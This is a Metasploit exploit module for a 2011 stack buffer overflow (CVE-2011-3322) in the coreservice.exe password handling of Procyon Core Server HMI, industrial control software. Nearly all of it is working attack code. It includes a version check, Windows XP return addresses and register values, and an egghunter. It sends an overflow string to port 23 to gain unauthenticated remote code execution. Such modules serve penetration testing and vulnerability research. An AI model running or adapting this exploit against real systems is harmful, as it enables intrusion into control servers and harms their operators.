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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => "Procyon Core Server HMI Coreservice.exe Stack Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability in the coreservice.exe component of Proycon
Core Server <= v1.13. While processing a password, the application
fails to do proper bounds checking before copying data into a small buffer on the stack.
This causes a buffer overflow and allows to overwrite a structured exception handling
record on the stack, allowing for unauthenticated remote code execution. Also, after the
payload exits, Coreservice.exe should automatically recover.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Knud Hojgaard <keh[at]nsense.dk>', # Initial discovery
'mr_me <steventhomasseeley[at]gmail.com>', # Initial discovery & poc/msf
],
'References' =>
[
['CVE', '2011-3322'],
['OSVDB', '75371'],
['URL', 'http://www.stratsec.net/Research/Advisories/Procyon-Core-Server-HMI-Remote-Stack-Overflow']
],
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d",
},
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP3 - No dep bypass',
{
'Ret' => 0x774699bf, # JMP ESP [user32.dll]
'Edx' => 0x1D847770, # 0x7712dec2 -> 0x00700040 RW [oleaut32.dll]
'Eax' => 0x01010106, # 0x7712dec2 -> 0x00700040 RW [oleaut32.dll]
'Offset' => 8
}
],
],
'Privileged' => true,
'DisclosureDate' => "Sep 08 2011",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(23)
])
end
def check
connect
res = (sock.get_once || '').chomp #This gives us string "----------------------------"
res = (sock.get_once || '').chomp #This gives us the actual software version
disconnect
if res =~ /Core Command Interface V1\.(.*)2/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
eggoptions =
{
:checksum => false,
:eggtag => 'ssec',
}
badchars = "\x00\x0a\x0d"
hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)
sploit = rand_text_alpha_upper(45)
sploit << [target['Edx']].pack('V')
sploit << [0x41414141].pack('V')
sploit << [target['Eax']].pack('V')
sploit << rand_text_alpha_upper(target['Offset'])
sploit << [target.ret].pack('V')
sploit << make_nops(10)
sploit << hunter
sploit << rand_text_alpha_upper(500)
sploit << egg
sploit << "\r\n"
connect
sock.get_once()
print_status("Sending request...")
sock.put(sploit)
handler()
disconnect
end
end